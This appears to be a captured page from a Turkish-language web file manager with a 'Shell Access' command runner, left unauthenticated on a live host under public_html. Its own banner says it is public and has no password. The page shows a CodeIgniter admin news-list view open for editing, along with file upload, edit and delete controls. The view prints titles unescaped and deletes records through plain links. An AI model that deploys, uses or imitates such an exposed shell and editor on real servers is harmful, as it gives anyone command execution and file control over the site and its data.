⚠️ **YÜKSEK GÜVENLİK RİSKİ:** Bu dosya herkese açık ve şifresizdir. Lütfen sadece **yerel ortamınızda** kullanın ve işiniz bittiğinde **silin**.
Aktif Dizin:
/home/dltain/public_html/app-1325/Views/admin/news
Dosya Düzenle: index.php
<?= $this->extend('layout/default') ?> <?= $this->section('content') ?> <h2>News List</h2> <a href="<?=base_url()?>admin/news/create" class="btn btn-primary">+ Add News</a> <?php if(session()->getFlashdata('success')): ?> <div class="alert alert-success"> <?= session()->getFlashdata('success') ?> </div> <?php endif; ?> <?php if(session()->getFlashdata('error')): ?> <div class="alert alert-danger"> <?= session()->getFlashdata('error') ?> </div> <?php endif; ?> <table class="table table-bordered mt-3"> <tr> <th>ID</th> <th>Title</th> <th>Category</th> <th>Status</th> <th>Action</th> </tr> <?php foreach($news as $item): ?> <tr> <td><?= $item['id'] ?></td> <td><?= $item['title'] ?></td> <td><?= $item['category_name'] ?></td> <td><?= ucfirst($item['status']) ?></td> <td> <a href="<?=base_url()?>admin/news/edit/<?= $item['id'] ?>" class="btn btn-warning btn-sm">Edit</a> <a href="<?=base_url()?>admin/news/delete/<?= $item['id'] ?>" onclick="return confirm('Delete this?')" class="btn btn-danger btn-sm">Delete</a> </td> </tr> <?php endforeach; ?> </table> <?= $this->endSection() ?>
Değişiklikleri Kaydet
Yeni Dosya Yükle (Mevcut Dizine)
Yükle
Adı
Tipi
Boyut
İşlemler
📁
.. (Üst Dizin)
📄 create.php
Dosya
1.38 KB
Düzenle
Sil
📄 edit.php
Dosya
1.85 KB
Düzenle
Sil
📄 index.php
Dosya
1.23 KB
Düzenle
Sil
Sorun Giderme (Shell Erişimi)
Çalıştır